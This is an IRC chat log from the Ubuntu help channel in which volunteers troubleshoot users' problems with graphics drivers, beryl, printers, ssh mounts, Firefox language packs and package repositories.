music_ok i'm starting get piss here... i used had driver "nvidia" working 4-5 days ago and edgy upgraded it self and now driver "nvidia " wont work and i'm using driver "nv" and i used had bearl and my wine games working great but not now here is the log and the xorg.conf http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/07:53
vHii,,  this is looking good, ppl07:53
stefg!repeat | music_07:53
ubotumusic_: Don't feel ignored and repeat your question quickly, if nobody knows your answer, nobody will answer you. You can search https://help.ubuntu.com or http://wiki.ubuntu.com while you wait. Also see !patience07:53
roryyjmblack: hrm. not getting much via google for that error message07:53
tim167use kernel framebuffer device interface? : Y or N ?07:53
stefg!patience | music_07:53
ubotumusic_: The people in this channel are volunteers. Your attitude will determine how fast you are helped. See also http://wiki.ubuntu.com/IrcGuidelines07:54
pistaneghsmoke, incompatible (from log) ?07:54
neghsmokeokay, let me check07:54
amigravemnoir: why ? you thing the computer wouldn't reboot after upgrade ?07:54
music_OMG07:54
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jmblackroryy: same, I google way before I ask =)07:54
music_5 days now07:54
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music_5 DAYS NOW STILL NO HELP:'(07:54
von thing is we cant do a video conference to make the typing and explaining easier07:54
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stefgmusic_: may that corelate with your attitude (as others said before) ? ...07:54
riotkittiestefg: heh!07:55
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music_do you think 5 days is long anuff07:55
mnoiramigrave: cross dist upgrades are not tested and therefore  nobody knows what might happen07:55
pike_music_: try booting from an old kernel in /boot  maybe an upgrade screwed you07:55
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music_how07:55
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neghsmokepista:07:55
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music_wat was mt kernal 5 days ago07:56
MeidosHow do I upgrade from using apache to apache2?07:56
=== Burkaya aiya!!!!
kupesoftWhere can I find out more information about building chroot jail environment for my ssh users? I'm at a real loss here,07:56
neghsmokeit says dri initialization failed07:56
roryyjmblack: have you changed /etc/hosts at all?07:56
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siouxhi ubuntus... who much bravo of me want push for a skypecast version for ubuntu07:56
pistaneghsmoke, show me that lines from log07:56
stefgmusic_: and since you are just asking your question ver and over, without paying attention to the possible solutions people offer you it's very likely that find yourself on many /ignore list right now07:57
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siouxwhat did you think about that idea07:57
TheGateKeepermusic_, if you are reasonable familiar with linux try sabayon07:57
cappizsomeone experienced this error:07:57
cappizcryptsetup --verbose --verify-passphrase --cipher aes-cbc-essiv:sha256 --key-size 256 luksFormat07:57
pike_gdsudo gedit /boot/grub/menu.lst  the first entry like title     Ubuntu    change the kernel line to another older version that shows up when you "ls /boot"07:57
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music_???????07:57
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cappizFailed to setup dm-crypt key mapping.07:57
cappizCheck kernel for support for the aes-cbc-essiv:sha256 cipher spec and verify that archive contains at least 258 sectors.07:57
qmfhow do i stop my cpu from being throttled?07:57
cappizFailed to write to key storage.07:57
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cappizi mean... this error.07:57
qmfi want it running full speed all the time07:57
kupesoftWhere can I find out more information about building chroot jail environment for my ssh users? I'm at a real loss here,07:57
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vskypecast version for ubuntu? some kind of tutorial cross elearning?07:58
tuxn8rUbuntu didn't work correctly upon first install on my laptop. I worked through the problems and got most of my devices working properly. Does anyone know where I should post this information at the Ubuntu site so it is fixed in Feisty and/or so other people can find out how to set it up in Edgy?07:58
pike_music_: sorry just sudo gedit /boot/grub/menu.lst07:58
music_i just want my stuff to work:'(07:58
music_ok07:58
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mnoirkupesoft: google 'chroot jail'?07:58
TheGateKeeperdon't use edgy then use dapper07:58
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siouxskype 3.0 for windows does skypecast but no skypecast available for linux07:59
neghsmokepista: http://pastebin.com/85780707:59
tim167riotkittie, LinAsH: it works now, thanks!07:59
riotkittieoooh. my kid is having a toddler sized meltdown. exit, stage right07:59
mikeconcepts2music, during the initial booting up of ubuntu, you can hit the escape key and then you will be presented with all the previous kernels you've ever had, select one of the older ones07:59
riotkittietim167: glad to hear that! :)07:59
stefgtuxn8r: if you have reproducable bugs then write a report o Launchpad (with your workarounds). YOur solutions to config-problems better g to the wiki07:59
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music_this is duel boot of ubuntu and xp08:00
dulcenagranada08:00
siouxI am try to find some info about how to use skypecast on linux or ubuntu but nothing08:00
dulcenagranada08:00
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kupesoftmnoir: nothing is ubuntu-specific here,08:00
westernhi! i'd like to install a LOGITECH WEBCAM PRO on ubuntu... anybody here with a little experience08:00
music_esc hmmmm08:00
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tuxn8rstefg, will my work around be utilized to address what happens when it is first installed in Feisty?08:00
stefg!webcam | western08:00
ubotuwestern: webcam is now easy to install on Linux; instructions at https://help.ubuntu.com/community/Webcam Supported cams: https://wiki.ubuntu.com/HardwareSupportComponentsMultimediaWebCameras08:00
western!webcam08:00
ubotuwebcam is now easy to install on Linux; instructions at https://help.ubuntu.com/community/Webcam Supported cams: https://wiki.ubuntu.com/HardwareSupportComponentsMultimediaWebCameras08:00
siouxskypecast seems unavailable on linux system :-)08:00
mnoirkupesoft: chroot jail is not specific to ubuntu08:00
sioux:-(08:00
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siouxsorry :-(08:01
neghsmokepista: found something else interesting. says my screen is not dri compatible08:01
westernthx stefg08:01
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neghsmokescreen 008:01
vBy the way what are the disadvantages with the Ubuntu compared with a windows? besides not being able to play the latest games08:01
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pistaneghsmoke, i cant open that pastebin, post in on #flood08:01
Zaggynlhow do I check what packages use a certain depencendy08:02
stefgtuxn8r: to be honest... i don't know. Ubuntu is suffering from it's rapid growth at the moment, the structures which worked a year before just don't scale to it's current popularity.08:02
Zaggynl*which packages08:02
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BluedogI have a MS multimedia keyboard, does anyone know how to make the buttons up top work?08:02
Bluedogatm the volume works, play stops play, and thats all08:02
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tuxn8rstefg, okay thanks. I look for any way to contribute and anyone with my model of laptop would go crazy going through all of the changes I had to make.08:02
stefg!keytouch | bluedog08:03
ubotubluedog: Keyboard shortcuts can be set in System -> Preferences -> Keyboard Shortcuts (Gnome) or "Input Actions" in KControl (KDE). If your multimedia keys don't work with that, try keytouch - http://keytouch.sourceforge.net08:03
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Bluedogthanks :)08:03
stefgtuxn8r: please! write a wiki article on  it08:03
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MarcNGood pointer to supported wireless G cards? I'm looking for an inexpensive PCMCIA card that doesn't require the NDIS wrapper hack.08:04
faeryNatsukihow can i fully reinstall alsa in edgy?08:04
neghsmokepista: done08:04
tuxn8rstefg, can i do that at wiki.ubuntu.com?08:04
Bluedogwill I need to restart x to make keyboard shortcuts work?08:04
stefgtuxn8r: exctly08:04
pip!gparted08:05
ubotugparted is gparted is a GUI partitioning program, "sudo apt-get install gparted", also available as a live cd http://gparted.sourceforge.net/livecd.php08:05
stefgtuxn8r: but you have to register first08:05
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jrib!hardware | tuxn8r08:05
ubotutuxn8r: For lists of supported hardware on Ubuntu see https://wiki.ubuntu.com/HardwareSupport08:05
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jribtuxn8r: there is a laptop page thre eI think, be sure to link to the new page you create08:05
pike_MarcN: i use proxim orinoco with has external antenna port. i would just look for a card with an antenna port and mentioned in forums as working.08:05
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faeryNatsukii'm tired, i'll ask agaion later08:06
faeryNatsukisee you boys08:06
daedrahow can I get ubuntu to remember my audio settings like volume/balance?08:06
tuxn8rthanks everyone. the most annoying problem is Toshiba has made the xp software control the sound card hardware, so if xp mutes the sound, it will never work in linux (with current drivers) ....08:06
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stefgtuxn8r: good catch to make public. i can imagine newbies going mad over that problem... everything seems to work, but no sound still08:07
MarcNpike_: who are they branded as?   linksys, dlink, etc?08:07
CheshireVikingMarcN: i'm using a Belkin wireless pcmcia card which has got the rt2500 chipset, that worked out of the box, install ubuntu, activate the card in networking/network tools & i was online08:07
n2diy! bugs08:08
pike_daedra: i THINK sudo alsactl store08:08
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MarcNCheshireViking: 802.11G?08:08
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TrixseyI have a built-in cardreader in my laptop08:08
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Trixseyand it's not working!08:08
TrixseyWhat should I do?08:08
vAnyone here with a site on how you use Ubruntu daily, sort of help get the codes pluged into our heads and navagate with more courage.. Would like to see more clearer vids besides Youtubes08:08
pike_MarcN: check out some wardriving forums id say they have the best recommendations08:09
music_nope non of them works08:09
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TrixseyUbuntu Edgy+Laptop+Cardreader (xD, SD etc) = Cardreader not working08:09
TrixseyWhat do I do?08:09
deorypi would like to ask someones help to get java-runtime env connected to firefox08:09
daedrapike_: thx08:09
jribv: help.ubuntu.com?  or are you specifcally looking for videos?08:09
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jribdaedra: install sun-java5-plugin from multiverse08:10
jrib!java | daedra08:10
ubotudaedra: To install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository08:10
TrixseyUbuntu Edgy+Laptop+Cardreader (xD, SD etc) = Cardreader not working... Help! What do I do!?08:10
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CheshireVikingMarkN: yes, 802.11G, had to think then whether it was only 802.11b or not, but its definately  G, only trouble is, the model number is a 7010, but there's some that are rt2500 & older ones that are broadcom 4306 that needed ndiswrapper08:11
music_(EE) Failed to load module "nvidia" (module does not exist, 0)08:11
music_(EE) No drivers available.08:11
daedrajrib: I don't need java...08:11
vfor Vids like how normal linux users use their OS, To surf, install, update, daily stuff08:11
juano__anyone know why i cant send mail with kmail using gmail, i can fetch mail fine08:11
robert_bleh08:11
deorypjrib: i did that but it is not showing up in firefox, even after i copied the .so files into /plugin dir for firefox (in every place i could find)08:11
MarcNCheshireViking: it is going into my mythtv box so I want G.  Currently using an old orinoco B and painfully slow.08:11
stefgTrixsey: first step: plug card reade in then check dmesg, if theres a message about a USB event08:11
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CheshireVikingMarcN: i'm connected at 54Mbps08:12
robert_somebody's trying to connect to me via SFTP2(FTP-over-SSH2), and they're getting "Timeout detected."08:12
robert_wtf does that mean/08:12
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daedra!wtf08:13
ubotuWords like noob, jfgi, stfu or rtfm are not welcome in this channel. Period.08:13
n2diy! bugs08:13
ubotuIf you find a bug in Ubuntu or any of its derivatives, please file a bug report at: http://bugs.ubuntu.com/  -  Bugs in/wishes for the bots can be filed at http://launchpad.net/products/ubuntu-bots08:13
Trixseyrobert_, are your ports open?08:13
Trixseyftp default port is 21, if I'm not mistaken08:13
mnoirrobprolly that you are not set up to allow them and are ignoring their request08:13
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Trixseyis it open? if not.. no wonder he gets timeout08:13
daedra!cheese08:13
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ubotuSorry, I don't know anything about cheese - try searching on http://bots.ubuntulinux.nl/factoids.cgi08:13
robert_Trixsey- I use that box all the time from remote hosts08:13
daedra!anything08:13
stefgand  port 21 needs to be forwarde by the router, if there's a NAT08:14
ubotuSorry, I don't know anything about anything - try searching on http://bots.ubuntulinux.nl/factoids.cgi08:14
daedralol08:14
Trixseystefg, like I said08:14
Trixseyit's built in08:14
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deorypi would like to ask someones help to get java-runtime env connected to firefox, i have already installed everything from apt08:14
Trixseyhas nothing to do with USB08:14
RoaPlOp08:14
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vjuano__: just saw the Help Doc. Ya kinda close, except my eyes are tired, If there was a nice Video version it would be great08:14
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Napsteri downloaded frostwire and installed it...but when i open it it doesnt do anything...nothing happens08:14
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stefg!frostwire08:14
ubotufrostwire is a totally open source version of Limewire.  For installation help, please see https://help.ubuntu.com/community/FrostWire08:14
robert_Trixsey- and people use it all the time08:14
jmblackstfp != ftp. sftp literally runs over ssh. afaik it has nothing to do with port 21 (which is ftp not sftp)08:14
nemo_workis there any reason why gnome vfs over ssh might be failing on my mom's ubuntu laptop?08:15
nemo_worker. ssh over gnome vfs08:15
un_operateurTristan, stefg, but SFTP/STFP2 uses port 22 like SSH08:15
stefgjmblack: so apply that to 2208:15
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Napsterwat should i do?08:15
tritonholas buenos dias08:15
pike_Napster: you installed java too? an alternative is amule it uses diff network though08:15
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jmblackyep, Im just explaining for others ;)08:15
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nemo_workIf I doubleclick on the server link on desktop, nothing happens in sshd log or on machine. the connecting dialog just sits there until I cancel08:15
nemo_workwhen I used the places menu, it prompted me for password, which I added and typed in.08:16
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nemo_workon the server a connection was logged08:16
stoneeyjust saying i'm in love with linux08:16
nemo_workbut nothing else happened08:16
stoneey:D08:16
un_operateurnemo_work, this "server link" what is it really? is it a shortcut, or a command or what?08:16
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stefgnemo_work: :authentication problem? host-key changed? user key changed?08:17
psynaps3_just for people's info, if u want to use wireless (wrt54gl,dell xps laptop), use connection manager instead of network manager. will save you all a lot of trouble :)08:17
nemo_workun_operateur: gnome vfs, I said so :)08:17
tritonquienquien es el pajarraco malandrin?08:17
Napsteramule doesnt work on my machine anymore...i installed it and now when i open it it closes itself immediately08:17
psynaps3_now to go and get some sleep08:17
psynaps3_phew08:17
nemo_workun_operateur: connect to server, selected ssh, filled out the info08:17
juano__v: cant send mail dunno why08:17
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nemo_workstefg: no errors noted server side08:17
nemo_workstefg: additionally, can connect from command prompt08:17
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nemo_workhm. I guess I could try making an ssh link to localhost08:18
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blekoshow can i install the kde desktop?08:18
pike_Napster: if you dont have any incomplete files to lose just "rm -fr ~/,aMule" and it will create a new config directory when it starts next08:18
un_operateurnemo_work, well, somewhere along the line, something's failing .. probably some wrong info .. double check08:18
stefgnemo_work: ok, authentication ruled out then08:18
rskblekos: apt-get install kde-desktop08:18
pike_Napster: sorry that . not ,08:18
nemo_workun_operateur: well, it is connecting to right server as right user08:18
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vjuano__: What Mail??08:18
nemo_workun_operateur: Jan 12 12:19:23 [sshd]  Accepted keyboard-interactive/pam for XXXXXXXXX from XXXXXXXXXXXXXXXXX port 49652 ssh208:19
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stefgfunny port08:19
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nemo_workstefg: that's standard08:19
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nemo_workstefg: client side is always a random high-level port08:19
optxhi everybody08:19
nemo_workstefg: in any tcp communications :)08:19
JoshJso, question about the fglrx and radeon drivers: what's the difference in functionality?08:19
vBy the way those who installed Ubunti, did you also installed Berly with e 3D effects and stuff(Saw it on Youtube)08:19
nemo_workfglrx locks up your computer at random? :)08:20
blekosi get the error couldnt find package ??08:20
JoshJnemesislord: lol08:20
un_operateurnemo_work, if i were you -- i'd just use a launcer with a command like this "ssh hostname -u username", etc08:20
JoshJ* nemo_work08:20
nemo_workbut I need it to play TA:Spring, so no choice :-/08:20
Napsterthat didnt work08:20
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Napsterwats the exact command?08:20
un_operateurerr .. ssh username@hostname  sorry08:20
nemo_workun_operateur: erm. I can do that, sure. however I wanted drag and drop file copying, which is what the folder offers08:20
nemo_worka launcher won't do that08:20
juano__v: gmail through kmail08:20
titacgshi, i need some help... i can't make work my printir on ubuntu brezzy... is an hp 695 c, could someone help me???08:20
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JoshJv: i've got beryl installed, go look up the beryl project site and they've got instructions08:20
nemo_workun_operateur: I can use FUSE, but that is overkill, and can be flaky over long mount periods, where as gnome-vfs is flaky over non-gnome apps, but only connects as needed08:21
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JoshJprobably better to follow their instructions than to try what i have from memory08:21
JoshJ(also check out compiz, you may want compiz instead of beryl)08:21
vJoshJ: was it a quicky?08:21
un_operateurnemo_work, does sshd log anything when you use this link?08:21
JoshJi think they've made it easier now than it was :P08:21
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JoshJit's about 10 minutes to install i guess08:21
stefgv: Beryl is a nice toy, but not really usable for real work now... theres #ubuntu-xgl for beryl/xgl/aiglx/emerald/compiz support08:21
JoshJbut i installed it way back in the .1 beta08:21
mzanfardinocan someone please help me with a problem I'm having with networking and vmware?08:22
titacgshi, i need some help... i can't make work my printir on ubuntu brezzy... is an hp 695 c, could someone help me???08:22
nemo_workun_operateur: I gave you that earlier :-p08:22
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daedra#music08:22
nemo_workun_operateur: that logging only occurred when using the Places instead of desktop link, oddly enough08:22
hardtalkmicrobiohi08:22
nemo_workboth failed, however08:22
vIts not stable Yet??? man it rocks like the suns Java 3d OS08:22
hardtalkmicrobioH5N1 is very dangerous08:22
JoshJtitacgs: hp 695c? hold on08:22
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nemo_workto un_operateur and stefg, I just tested creating an SSH connection to localhost, and it is failing the same way (!)08:22
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titacgsJoshJ, yes... ok08:23
trappiststefg: I have to disagree re: beryl08:23
pike_titacgs: use this google search "site:linuxprinting.org 695c"  to setup printer open web brower and go to "127.0.0.1:631"  use the hpjis driver i think might be best08:23
hardtalkmicrobiowhy?08:23
Napster??08:23
un_operateurnemo_work, ssh connection via the command line client?08:23
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nemo_workagain, doubleclicking on desktop link hangs with cancel dialog, going to Places->testing prompts for password but does nothing else08:23
hardtalkmicrobioH5N1 is a virus08:23
jamesbrosedarn, is there no shockwave player for linux?08:23
v<hardtalkmicrobio: Ill Use NOD32 for anything08:23
JoshJyeah, listen to pike_08:23
trappistjamesbrose: nope08:23
nemo_workun_operateur: no gnome vfs.  I repeat commandline works great08:23
nemo_worklocal and remote08:23
JoshJhe sent you to the same site i was about to send you to :P08:23
stefgtrappist: we might have a different concept of what 'work' means :-)08:24
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nemo_workat this moment I'm connected to the machine over an SSH tunnel actually.08:24
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pike_;p08:24
jamesbrosetrappist, is there an alternative?08:24
jribjamesbrose: only way is to run firefox in wine with shockwave08:24
trappiststefg: I'm at work right now, been running beryl for weeks08:24
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JoshJi think he means beryl doesn't really add any functionality :P08:24
trappistjamesbrose: codeweavers crossover office (a commercial wine spinoff) is a solution08:24
un_operateurnemo_work, are you sure you are selecting the right version of SSH to use .. SSH1 or SSH2 ?08:24
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trappistJoshJ: it adds a lot of usability enhancements08:24
nemo_workun_operateur: try creating a gnome vfs mount :-p08:24
nemo_workun_operateur: that is not an option08:24
un_operateurnemo_work, heh, if i used gnome, i'd have a clue but i dont :)08:25
nemo_workun_operateur: go to places, choose connect to server, select ssh, and fill out info appropriately08:25
JoshJeh, the only real addition to usability i found was the ability to switch workspaces with the mouse, and uh the f9 key08:25
vtrappist: I think it serves its purpose as shown08:25
nemo_workun_operateur: you don't have a single machine using gnome?08:25
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un_operateurnemo_work, nope08:25
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nemo_workbtw, gnome vfs works fine on my work machine here. so seems to be ubuntu specific08:25
vUseful for U?08:25
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trappistJoshJ: there's a lot more going on.  like the ability to tab windows together, for example08:25
un_operateuranyway, i gotta go, bbl08:25
trappistJoshJ: 80% of it is just eyecandy, but that's not all it is08:25
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nemo_workok, anyone who actually uses gnome under ubuntu, mind trying to create a gnome vfs ssh mount?08:26
titacgspike_, JoshJ the thing is that i already installed it but it doesn't print anything08:26
yrlnryI've just created a new printer with the System/Administration/Printing application,  and I can print test pages to it from that application.  But it hasn't created an entry in /etc/printcap.  Should I edit /etc/printcap manually to add it?08:26
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avaricenwhats the laptop monitor for gnome called again08:26
yrlnryOr is there some way that is more reliable?08:26
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JoshJtitacgs: i'm 1 for 2 on printing in linux :(08:26
SkatJoshJ did you get Beryl working using XGL or AIGLX?08:26
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vtrappist: if its produictive and fast its good else ill keep my memory08:26
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tweakismIf I do "install a command line system" on ubuntu edgy amd64 alternate cd, do I get the same install as the server CD?08:26
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JoshJSkat: i forget, where would i go to check?08:26
pike_titacgs: you already logged into cups and set it up that way?08:27
JoshJ(it was a while ago)08:27
trappistv: it's all those things.  right now the biggest issue for me is that the nvidia drivers need some work08:27
JoshJtitacgs: my success was a HP deskjet 3847 and my failure was a lexmark x73; so whatever08:27
SkatWell I tried XGL using the fglrx driver08:27
trappistv: and the worst I get out of that is that once a day or so a window will turn black08:27
tonyyarussoWhat's the package of rejected Edgy artwork?08:27
JoshJi'm not even using fglrx, looking in xorg.conf shows radeon08:27
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SkatJoshJ: ok, I had to drop back to that, fglrx was a dog08:28
tweakismnevermind, found it08:28
Rocky12hello does anyone know how can i change th elanguage of FIREFOX?08:28
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JoshJhm08:28
SkatJoshJ: And xgl was so slow it was unusable08:28
JoshJnot sure, Rocky12 :(08:28
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JoshJSkat : where would i check xgl vs aiglx?08:28
SkatJoshJ: was hoping you may have found a way to make it work - I have a 9800Pro08:28
Rocky12does anyone know08:29
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sanitariumseems ubuntu did update to gnome today and now beryl crashes08:29
stefgRocky12: if you have the complete lang-support packages for your language installed firefox should be in your language (if that locale is available)08:29
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sanitariumanyone else see this08:29
SkatJoshJ if you start beryl-manager from command line it has a look for what you've got and prints it in the terminal08:29
daedra-Ziq08:29
nemo_workAnyone here using gnome mind testing gnome-vfs + ssh under ubuntu?08:29
Rocky12Rocky it is not in my language :S08:29
nemo_workWould like to at least find out if it is just me.08:29
Rocky12oops08:29
vtrappist: is Suns ver more stable than Berly? HAve a black screen  daily is kinda of bad... Im getting a Intel 128mb integrated graphic, would that have issues like your navida?08:29
JoshJi've got aiglx08:29
pike_anyone hear any news on better ati drivers since amd bought 'em or was that wishful thinking?08:29
Rocky12stefg it is not in my language :S08:29
trappistsanitarium: there is a version of gconf that breaks beryl, maybe that's it08:29
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titacgspike_, yes i used cups to install it but it doesn't work :(08:29
pike_amd08:30
sanitariumTrappist08:30
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JoshJand.. things aren't working properly :P08:30
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sanitariumi see08:30
yrlnryHow do I regenerate /etc/printcap from /etc/cups/printers.conf ?08:30
stefgRocky12: s waht is your language?08:30
trappistv: black window, not black screen, and I only used looking glass long enough to decide it was way too slow08:30
pike_titacgs: does it support postscript?08:30
sanitariumTrappist can i fix it08:30
trappistv: and no, the intel drivers work pretty well08:30
Rocky12stefg spanish08:30
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SkatJoshJ but basically unless you've installed xgl then you're not using it!08:30
tim167whereis apt-on-cd ?08:30
trappistsanitarium: you'd have to either upgrade or downgrade gconf, if that's the problem08:30
JoshJSkat: yeah, i'm on AIGLX apparently08:30
Skatok08:30
JoshJlike i said, it was a while back08:30
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sanitariumtrappist, how do i downgrade on ubuntu08:31
JoshJtim167: you can set a cdrom repository in the synaptic package manager if you want08:31
trappistsanitarium: you don't08:31
apokryphosubotu: downgrade08:31
ubotuAttempting to downgrade to an older Ubuntu version is explicitly not supported, and may break your system.08:31
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sanitariumi see08:31
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JoshJi think it simplifies the process, but never done it08:31
trappistsanitarium: I'd be surprised if ubuntu did an upgrade to gconf and got the one version that's severely busted, though08:31
pike_titacgs: about the only thing you can do is play with different drivers i guess08:31
tim167JoshJ, so I can install an ISO made with apt-on-cd like that?08:31
sanitariumhow do i check what was last thing installed?08:32
sanitariumi cant find the logs08:32
JoshJno idea :\08:32
tweakismhrm, anybody? :P08:32
sanitariumno sure where to look08:32
trappistsanitarium: come to think of it, you probably just need to recompile08:32
tweakismserver-expert at the prompt doesn't work as F1 says, nor does server08:32
trappistsanitarium: beryl, I mean08:32
titacgspike_, the recommended driver is hpijs, which is the one i installed08:32
sanitariumtrappist,08:32
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sanitariumcrap08:32
vtrappist: Darn now its a decision to sacrifice RAms for those effects, What your ram? Im using 512MB and im a multi user so I hate to get lags in my Laptop.. do u?08:32
tim167JoshJ: actually i want to install everything from one system to another, aptonCD is a way to do  it, maybe there are others, but now i'm looking for the installer of aptonCD08:33
optxcan somebody help me with GL Desktop on 6.10 ? I installed it, but i dont get that 'cube' thing ..08:33
sanitariumhttp://www.ubuntuforums.org/showthread.php?t=26385108:33
JoshJhm08:33
sanitariumis that still current08:33
JoshJi wonder if there's a way to just list all the installed packages08:33
trappistv: beryl doesn't use a lot of ram except video ram.  I run it at home with 512mb just fine08:33
JoshJbecause that would make it a lot easier08:33
JoshJjust do a massive apt-get :P08:33
CheshireVikingsanitarium: the upgrades today were linux-restricted-modules, linux-restricted-modules-common, nvidia-glx and xser-xorg.core, there's no problem with the update for me, but i don't use beryl08:33
sanitariumjoshj me too08:33
trappistsanitarium: I'm stuck in a console at the moment, can't check it out :)08:33
sanitariumk08:33
tweakismdpkg -l lists all installed packages08:33
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tim167JoshJ: never mind , i found the binary08:34
stefgRocky12: sudo apt-get install mozilla-firefox-locale-es08:34
JoshJok, what's the difference between ii and rc there?08:34
trappistsanitarium: that upgrade could also break beryl - until you reinstall08:34
tweakismii is installed.08:34
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trappistsanitarium: or you may just need to reboot08:34
JoshJso what you really want is dpkg -l | grep ^ii   , ?08:34
tweakismrc I dunno :P08:34
stefgRocky12: sudo apt-get install *mozilla-firefox-locale-es-es* for castellano, -ar for argentinian region08:34
n2diy! bugs08:34
ubotuIf you find a bug in Ubuntu or any of its derivatives, please file a bug report at: http://bugs.ubuntu.com/  -  Bugs in/wishes for the bots can be filed at http://launchpad.net/products/ubuntu-bots08:34
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tim167what I'd really want to do is make a complete installer ISO from my current system, all apps and libs and whatnot's included, can that be done?08:34
vtrappist: fantastic!08:34
Rocky12stetfg any idas?08:35
JoshJtim167: i'd say "yes but i have no idea how"08:35
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sanitariumlol08:35
sanitariumi fiqured it out08:35
sanitariumits the nvidia drivers08:35
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JoshJmainly because if there isn't already a way, you could theoretically make a way :p08:35
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sanitariumafter kernel change i never rebooted till now08:35
trappistsanitarium: yeah that'd be from the l-s-m upgrade.  a reboot should fix that.08:35
DoowI'm having problem with flashplugin-nonfree, everything seems to work during installation except that it exits with: "automatic installation failed due to network problems or upstream changes"08:35
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JoshJDoow: just get the flash 9 beta off the adobe website08:36
JoshJall you have to do is put the libflashplayer.so file into the plugins folder of your mozilla directory08:36
stefg!flash9 | Doow08:36
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ubotuDoow: flash9 is available from dapper-backports and edgy-backports now, see !backports08:36
tim167problem installing Apt-On-CD: dependancy unsatisfyable: python-dbus , any ideas08:36
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JoshJer08:37
vAnyone owns a blog or website? Mind throwing some Vids on your Ubuntu usage, It would help get more ppl interested and familar as they see how simple its gonna be to transit to Ubuntu08:37
Rocky12stefg any ideas?08:37
modulushow good is support for realtek high definition audio under ubuntu?08:37
stefgRocky12: sudo apt-get install *mozilla-firefox-locale-es-es* for castellano, -ar for argentinian region08:37
JoshJtim167: try apt-cache search python-dbus08:37
JoshJbecause it's there for me08:37
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sanitariumtrappist, i did reboot and now its broke08:37
JoshJit's possible that it's in a repository you don't have enabled08:37
sanitariumlol08:37
Doowhmm.. edgy-backports, what's the apt line for that? =)08:37
trappistsanitarium: what's broke08:37
apokryphosubotu: repositories08:37
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ubotuThe packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource08:37
sanitariumberyl because nvidia is08:37
Rocky12it tells me it doesnt exist! stefg08:37
sanitariumi did glxgears08:37
tim167JoshJ: no return08:37
sanitariumand X crashes08:37
JoshJtim167: hang on08:38
trappistsanitarium: did you install linux-restricted-modules?08:38
stefg!mozilla-firefox-locale-es-es08:38
ubotumozilla-firefox-locale-es-es: Mozilla Firefox Spanish; Castilian language/region package. In component main, is optional. Version 2.0~rc3ubuntu1-1 (edgy), package size 157 kB, installed size 676 kB08:38
trappistsanitarium: for the new kernel, I mean08:38
JoshJi'll tell you what repo it's in08:38
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sanitariumtrappist, i installed whatever was in the updater08:38
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stefgRocky12: your sources.list seems broken08:38
stefg!easysouce08:38
ubotuSorry, I don't know anything about easysouce - try searching on http://bots.ubuntulinux.nl/factoids.cgi08:38
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stefg!easysource | rocky1208:38
uboturocky12: source-o-matic is a webpage where you can (re)generate your sources.list - http://www.ubuntu-nl.org/source-o-matic08:38
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modulusoy, how noisy.08:38
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trappistsanitarium: what does `glxinfo | grep rendering` say08:39
K1GPLwhy have i started gettting logged off and system put to sleep recently?08:39
K1GPLits a real pain the ass08:39
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n2diyI just did an update, and a system reboot is now required. I'd rather not loose my uptime, would doing init 1, and then init 5 be sufficent?08:39
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stefgn2diy: no08:39
modulusuptime fetish?08:39
music_I SOLVED IT YAY MY VIDEO CARD WORKING YAY08:39
n2diystefg: :/08:40
JoshJhm08:40
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JoshJsynaptic doesn't show which repo it's in? :(08:40
modulusanyone knows if the laptop sound card realtek high definition audio is well supported?08:40
n2diystefg: is there anyway to preserve my uptime?08:40
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stefg!hardware | modulus08:40
ubotumodulus: For lists of supported hardware on Ubuntu see https://wiki.ubuntu.com/HardwareSupport08:40
tim167JoshJ: aynaptic doesnt find anything on python-dbus08:40
JoshJn2diy: fake the log08:40
music_direct rendering: Yes08:40
moduluswithout its own driver i suspect it's going to sound quite bad because on windows it didn't work well until i tweaked with driver.08:40
sanitariumtrappist, X crashed08:40
music_:)08:40
JoshJtim167: that's because you don't have the right repo and i do08:40
JoshJi'm trying to find which repo it is08:41
sanitariumwhen i did that line08:41
sanitariumand i had to log in again08:41
trappistsanitarium: well that's no good :)  check out /var/log/Xorg.0.log and search for (EE)08:41
JoshJi suppose you may want to enable universe/multiverse/whatever08:41
n2diyJoshJ: What log?08:41
JoshJn2diy: whatever it is you're logging to brag about your uptime with ;[08:41
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tim167JoshJ: I thought they were enabled, i'll double check08:41
JoshJuptime bragging = you have a small e-penis08:41
stefglol08:41
IndyGunFreakjoshJ, what are you looking for again08:41
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JoshJthe repository python-dbus is in08:42
Skate-penis hahaha08:42
stefgi-penis for Mac owners, that is08:42
JoshJno, that's iPenis08:42
IndyGunFreaklol, you gotta admit, thats kinda funny08:42
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JoshJok so08:43
modulusnot much info on the wiki. anfortunately i can't determine my sound card chipset.08:43
CrankymonkyCan anyone tell me how I would go about compiling NinJam(www.ninjam.com) ?  Running the Makefile as root yielded only errors, am I doing somethign wrong?08:43
pike_"apt-cache search python dbus"08:43
modulusonly its commercial name.08:43
JoshJer, it's python-dbus08:43
JoshJbut whatever08:43
stefg!build | Crankymonky08:43
ubotuCrankymonky: Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first: not all !repositories are enabled by default!)08:43
JoshJhttp://rafb.net/p/wbvX2491.html  <- tim167 , this is my sources.list, but copying this exactly is probably a bad idea mainly because i've got some stuff that's out of date08:43
IndyGunFreakjosh, i just found it in synaptic, how can i tell what repo its in?08:43
Crankymonkystefg, thanks08:43
JoshJIndyGunFreak: dunno, that's what i was looking for08:43
JoshJ>_<08:43
IndyGunFreakoh i see..08:44
JoshJbecause i see it in synaptic and have no idea what repo it's in08:44
vIll take my leave tks for the Share guys... Its a great comm ill be back..08:44
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IndyGunFreakJoshJ, my guess is, its in one of the core repos, but thats just a guess.08:44
tim167JoshJ: i have all multiverse and universe entries enabled...08:44
pike_apt-cache madison packagename   <--- is handy08:45
deorypjrib: i did that but it is not showing up in firefox, even after i copied the .so files into /plugin dir for firefox (in every place i could find)08:45
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stefg!easysource | tim16708:45
JoshJah, thank you08:45
IndyGunFreakSays the maintainer is Ubutu Core Developers,08:45
ubotutim167: source-o-matic is a webpage where you can (re)generate your sources.list - http://www.ubuntu-nl.org/source-o-matic08:45
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IndyGunFreakJoshJ, can't say for sure,08:45
deorypi would like to ask someones help to get java-runtime env connected to firefox, i have already installed everything from apt08:45
JoshJhttp://rafb.net/p/jhiRCW95.html08:45
jribdeoryp: did you restart firefox?08:45
pike_dont ask me who madison is..08:45
JoshJthere you go tim16708:45
